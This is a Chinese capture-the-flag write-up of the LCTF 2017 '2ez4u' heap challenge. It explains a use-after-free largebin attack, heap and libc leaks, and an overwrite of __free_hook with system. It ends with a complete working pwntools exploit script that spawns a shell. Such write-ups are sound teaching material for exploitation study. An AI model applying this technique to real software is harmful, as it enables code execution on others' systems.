lctf2017_2ze4u_reproduce

概述

保护全开,libc-2.23

漏洞点在 uaf

不过这题有个地方很烦,就是读和写都是从 chunk_data 的地址开始,所以需要各种方法去绕过

这题主要就是利用伪造 bk_nextsizelargebin_attack,实现任意地址申请,然后进行 overlap

还有就是修改 top 指针,使其指向 free_hook,最后申请出来改成 system,实现getshell

利用过程

堆布局

# 布局要注意 \x00 和 consolidate,malloc也会 consolidate。。。
create(0x10,'1\n')# 0
create(0x20,'1\n')# 1 unlink_ptr
create(0x3e0,'largebin\n')# 2 有\x00截断。。。。,heap_base 是 \x00 结尾的 0x400
create(0x30,'1\n')# 3
create(0x3f0,'largebin\n')# 4 0x410
create(0x40,'1\n')# 5
create(0x50,'1\n')# 6 fake_large
create(0x80,'1\n')# 7 small
create(0x70,'1\n')# 8
create(0x80,'1\n')# 9 small
create(0x50,'1\n')# 10
create(0x60,'1\n')# 11
create(0x200,'1\n')# 12 伪造 prev_size,过 malloc 检查

leak_heapbase

让两个 large_chunk 相互指,就可以泄露堆地址

# 使两个 large 进 large_bin,泄露 heap_addr
delete(2)# 0x400
delete(4)# 0x410
delete(0)# 不然之后就把2 占用了,uaf就没了create(0x400,'a\n')# 0
show(2)
p.recvuntil('iption:')
heap_base = u64(p.recvuntil('\n',drop = 'True').ljust(8,b'\x00'))-0x4c0
log.success('heap_base: ' + hex(heap_base))

leak_libc

目的是泄露 libc,需要实现 overlaplarge_chunk 包含 small_chunk

# leak_libc
# 利用 overlap chunk 使伪造的 large_chunk 包含 small_chunk
unlink_ptr = heap_base + 0x40 + 0x18
fake_large_addr = heap_base + 0x940 + 0x10
fake_large = p64(0x411) + p64(unlink_ptr-0x18) + p64(unlink_ptr-0x10)[:-1] + b'\n' #一样大小,另一个成为堆头,这个之后可以申请出来
log.success('unlink_addr: ' + hex(unlink_ptr))
log.success('fake_large: ' + hex(fake_large_addr))# 0x555555605950edit(1,p64(fake_large_addr) + b'\n')
edit(6,fake_large)edit(12, 0xd8*b'a'+p64(0x410)+p64(0x71)[:-1]+b'\n')# 伪造 prve_size
edit(2, p64(fake_large_addr)[:-1] + b'\n')# 伪造 bk_nextsize

这里利用伪造 bk_nextsizelargebin_attack,实现任意地址申请,实现 overlap

需要伪造 prve_size,绕过后面 malloc 的检查

unlink 的检查只需要让 fd_nextsizebk_nextsize 都为0,就可以跳过一部分检查,剩下的检查就跟常规 unlink 一样了

overlapsmall_chunk 先放入 unsorted_bin

delete(9)# 先出
delete(7)# overlap
delete(0)

可以看到此时已经 overlap

+0000 0x555555605930  00 00 00 00  00 00 00 00  71 00 00 00  00 00 00 00
+0010 0x555555605940  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
+0020 0x555555605950  06 00 00 00  00 00 00 00  11 04 00 00  00 00 00 00 <--fake_large
+0030 0x555555605960  40 50 60 55  55 55 00 00  48 50 60 55  55 55 00 00
+0040 0x555555605970  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
...
+0070 0x5555556059a0  00 00 00 00  00 00 00 00  a1 00 00 00  00 00 00 00 <--small_chunk
+0080 0x5555556059b0  d0 5a 60 55  55 55 00 00  78 1b dd f7  ff 7f 00 00
+0090 0x5555556059c0  07 00 00 00  00 00 00 00  31 00 00 00  00 00 00 00
+00a0 0x5555556059d0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00

这里创建出 fake_large,同时整理 bins

small_addr = heap_base + 0xad0
create(0x3f0, b'a'*0x38+p64(small_addr)[:-1]+b'\n')# 0 p64(small_addr)维持原来的 fd 且绕过\x00

这时只要拿出一个 small_chunk 就可以泄露 libc

create(0x80,'a\n')# 2 将一个 small_chunk 申请出来,那 bin 中就只剩下一个 small_chunkshow(0)
p.recvuntil('a' * 0x38)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4c08
log.success('libc.address: ' + hex(libc.address))

修复一下 chunk_header

edit(0, b'a'*0x30+p64(0xa1)[:-1]+b'\n')# 恢复之前覆盖掉的 size,方便调试

改 top 指针指向 free_hookxx

free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
log.success('free_hook: ' + hex(free_hook))free_hookxx = free_hook-0xb58 # 该区域有大数,可以当做 top 的 size
log.success('free_hookxx: ' + hex(free_hookxx))main_arena = 0x3c4b20 + libc.address
log.success('main_arena: ' + hex(main_arena))fake_fastbin = 0x3c4b20 + libc.address + 0x30 # 0x70
log.success('fake_fastbin: ' + hex(fake_fastbin))

伪造 fastbin 0x70 和 0x80 的 fd

# 伪造 fastbin 0x70 0x80 的 bin
delete(10)# 0x70
delete(11)# 0x80payload = b'a'*0x28 + p64(0) + p64(0xa1) + b'a'*0x90 + p64(0xa0) + p64(0x90) + b'a'*0x80 + p64(0) + p64(0xa1) + b'a'*0x90
payload += p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0) + b'a'*0x50 + p64(0) + p64(0x81) + p64(0x71)[:-1] + b'\n'
edit(0, payload)

伪造这个 0x71 是为了绕过 malloc 时对 size 的检查

修改 top 指针

create(0x50,'1\n')# 4
create(0x60,'1\n')# 7create(0x50,'1\n')# 9
edit(9, p64(free_hookxx)[:-1]+b'\n')

可以看到 top 指针已经修改,指向 free_hook-0xb58,现在要做的就是不断申请,将 free_hook 改成 system 即可

要注意不断申请的大小,因为此时 fastbin 中有些非法地址

#当去 malloc 一个大于 smallbin 的 chunk 时, 将 fastbin 中的 chunk 都整理到 unsortedbin 中,千万不能,因为 fastbin 被改了
create(0x3d0,'1\n')# 10 没有修复 bk_nextsize 这里就会 crash
create(0x3d0,'1\n')# 11create(0x3d0,'1\n')# 13
create(0x3d0,'1\n')# 14create(0x3d0,b'\x00'*0x350 + p64(system_addr)[:-1]+b'\n')# 15payload = b'a'*0x28 + p64(0) + p64(0xa1) + b'a'*0x90 + p64(0xa0) + p64(0x90) + b'/bin/sh\n'
edit(0, payload)
delete(8)p.interactive()

exp

#! /usr/bin/env python3
from pwn import *arch = 64
challenge = './2ez4u1'context.os='linux'
context.log_level = 'debug'
if arch==64:context.arch='amd64'
if arch==32:context.arch='i386'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(challenge)
libc = ELF('libc.so.6')local = 1
if local:p = process(challenge)
else:p = remote('chuj.top', '53178')def debug():gdb.attach(p)pause()bps = [0xD59,0xE2C]
pie = 1
def gdba():if local == 0:return 0cmd ='set follow-fork-mode parent\n'#cmd=''if pie:base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)cmd += ''.join(['b *{:#x}\n'.format(b+base) for b in bps])cmd += 'set $base={:#x}\n'.format(base)else:cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])gdb.attach(p,cmd)def eat():p.recvuntil('5. quit\n')p.recvuntil('your choice: ')def create(size, content, val=0, num=0, col=0):eat()p.sendline('1')p.recvuntil('color?(0:red, 1:green):')p.sendline(str(col))p.recvuntil('value?(0-999):')p.sendline(str(val))p.recvuntil('num?(0-16):')p.sendline(str(num))p.recvuntil('description length?(1-1024):')p.sendline(str(size))p.recvuntil('apple:')p.send(content)def delete(index):eat()p.sendline('2')p.recvuntil('which?(0-15):')p.sendline(str(index))def edit(index, content,val=1000, num=17, col=3):eat()p.sendline('3')p.recvuntil('which?(0-15):')p.sendline(str(index))p.recvuntil('color?(0:red, 1:green):')p.sendline(str(col))p.recvuntil('value?(0-999):')p.sendline(str(val))p.recvuntil('num?(0-16):')p.sendline(str(num))p.recvuntil('new description of the apple:')p.send(content)def show(index):eat()p.sendline('4')p.sendline(str(index))# 布局要注意 \x00 和 consolidate,malloc也会 consolidate。。。
create(0x10,'1\n')# 0
create(0x20,'1\n')# 1 unlink_ptr
create(0x3e0,'largebin\n')# 2 有\x00截断。。。。,heap_base 是 \x00 结尾的 0x400
create(0x30,'1\n')# 3
create(0x3f0,'largebin\n')# 4 0x410
create(0x40,'1\n')# 5
create(0x50,'1\n')# 6 fake_large
create(0x80,'1\n')# 7 small
create(0x70,'1\n')# 8
create(0x80,'1\n')# 9 small
create(0x50,'1\n')# 10
create(0x60,'1\n')# 11
create(0x200,'1\n')# 12 伪造 prev_size,过 malloc 检查# 使两个 large 进 large_bin,泄露 heap_addr
delete(2)# 0x400
delete(4)# 0x410
delete(0)# 不然之后就把2 占用了,uaf就没了create(0x400,'a\n')# 0
show(2)
p.recvuntil('iption:')
heap_base = u64(p.recvuntil('\n',drop = 'True').ljust(8,b'\x00'))-0x4c0
log.success('heap_base: ' + hex(heap_base))# leak_libc
# 利用 overlap chunk 使伪造的 large_chunk 包含 small_chunk
unlink_ptr = heap_base + 0x40 + 0x18
fake_large_addr = heap_base + 0x940 + 0x10
fake_large = p64(0x411) + p64(unlink_ptr-0x18) + p64(unlink_ptr-0x10)[:-1] + b'\n' #一样大小,另一个成为堆头,这个之后可以申请出来
log.success('unlink_addr: ' + hex(unlink_ptr))
log.success('fake_large: ' + hex(fake_large_addr))# 0x555555605950edit(1,p64(fake_large_addr) + b'\n')
edit(6,fake_large)edit(12, 0xd8*b'a'+p64(0x410)+p64(0x71)[:-1]+b'\n')# 伪造 prve_size
edit(2, p64(fake_large_addr)[:-1] + b'\n')# 伪造 bk_nextsizedelete(9)# 先出
delete(7)# overlap
delete(0)small_addr = heap_base + 0xad0
create(0x3f0, b'a'*0x38+p64(small_addr)[:-1]+b'\n')# 0real_large_addr = heap_base + 0x4c0
edit(2, p64(real_large_addr)[:-1] + b'\n')# 修复 bk_nextsizecreate(0x80,'a\n')# 2show(0)
p.recvuntil('a' * 0x38)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4c08
log.success('libc.address: ' + hex(libc.address))edit(0, b'a'*0x30+p64(0xa1)[:-1]+b'\n')# 恢复之前覆盖掉的 size,方便调试# 改 top 指针指向 free_hookxx
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
log.success('free_hook: ' + hex(free_hook))free_hookxx = free_hook-0xb58 # 该区域有大数,可以当做 top 的 size
log.success('free_hookxx: ' + hex(free_hookxx))main_arena = 0x3c4b20 + libc.address
log.success('main_arena: ' + hex(main_arena))fake_fastbin = 0x3c4b20 + libc.address + 0x30 # 0x70
log.success('fake_fastbin: ' + hex(fake_fastbin))# 伪造 fastbin 0x70 0x80 的 bin
delete(10)# 0x70
delete(11)# 0x80payload = b'a'*0x28 + p64(0) + p64(0xa1) + b'a'*0x90 + p64(0xa0) + p64(0x90) + b'a'*0x80 + p64(0) + p64(0xa1) + b'a'*0x90
payload += p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0) + b'a'*0x50 + p64(0) + p64(0x81) + p64(0x71)[:-1] + b'\n'
edit(0, payload)create(0x50,'1\n')# 4
create(0x60,'1\n')# 7create(0x50,'1\n')# 9
edit(9, p64(free_hookxx)[:-1]+b'\n')create(0x3d0,'1\n')# 10 没有修复 bk_nextsize 这里就会 crash
create(0x3d0,'1\n')# 11create(0x3d0,'1\n')# 13
create(0x3d0,'1\n')# 14create(0x3d0,b'\x00'*0x350 + p64(system_addr)[:-1]+b'\n')# 15payload = b'a'*0x28 + p64(0) + p64(0xa1) + b'a'*0x90 + p64(0xa0) + p64(0x90) + b'/bin/sh\n'
edit(0, payload)
delete(8)p.interactive()

lctf2017_2ze4u_reproduce相关推荐

最新文章

  1. 用什么心态对待水平糟糕的程序员[不靠谱的程序员、思路紊乱的程序员]?
  2. 初学算法-快速排序与线性时间选择(Deterministic Selection)的C++实现
  3. solve Ax+By+C=0
  4. java XML解析防止外部实体注入
  5. java 变量初始化_浅谈Java变量的初始化顺序详解
  6. 清华大学数学教授吐槽不会做孙子的小学奥数:这学的不是数学,是戏法
  7. 人工智能数学基础-python数值计算实战
  8. 了解 MongoDB 看这一篇就够了
  9. MySQL Proxy和 Amoeba 工作机制浅析
  10. Go 语言十年而立,Go2 蓄势待发
  11. java socket 浏览器_java实现websocket(图文)
  12. html如何实现表格效果,DIV+CSS技术实现类似table表格的效果
  13. Windows 64 位 mysql 5.7以上版本包解压中没有data目录和my-default.ini和my.ini文件以及服务无法启动的解决办法以及修改初始密码的方法
  14. 阿里巴巴卖空阿里巴巴入股新浪微博抑制投资者卖空行为
  15. npm安装为什么要安装gyp各种报错呢
  16. [渝粤教育] 信阳师范学院 奥尔夫音乐教育 参考 资料
  17. 计算机冗余,计算机中的冗余是什么意思
  18. win7系统怎样开启wmi服务器,WMI服务是什么?Win7系统如何禁用WMI服务?
  19. Android:启动流程
  20. 嵌入式Linux驱动学习【9】—— Nor Flash

热门文章

  1. 计算机应用基础 本科类 第二阶段b201609,江南大学。计算机应用基础(本科类)第一阶段B201609.doc...
  2. h5app 实现ios更新跳转appStore
  3. mmocr 测试字符检测和识别模型
  4. python tricks_Python Tricks
  5. python 爬取静态 静态 静态网页
  6. 复杂网络上的传播动力学
  7. Shader头发效果
  8. 《AOIT shader in UE4》
  9. [野狐行网游研究][二期][8.21更新]
  10. BZOJ 1029: [JSOI2007]建筑抢修【贪心】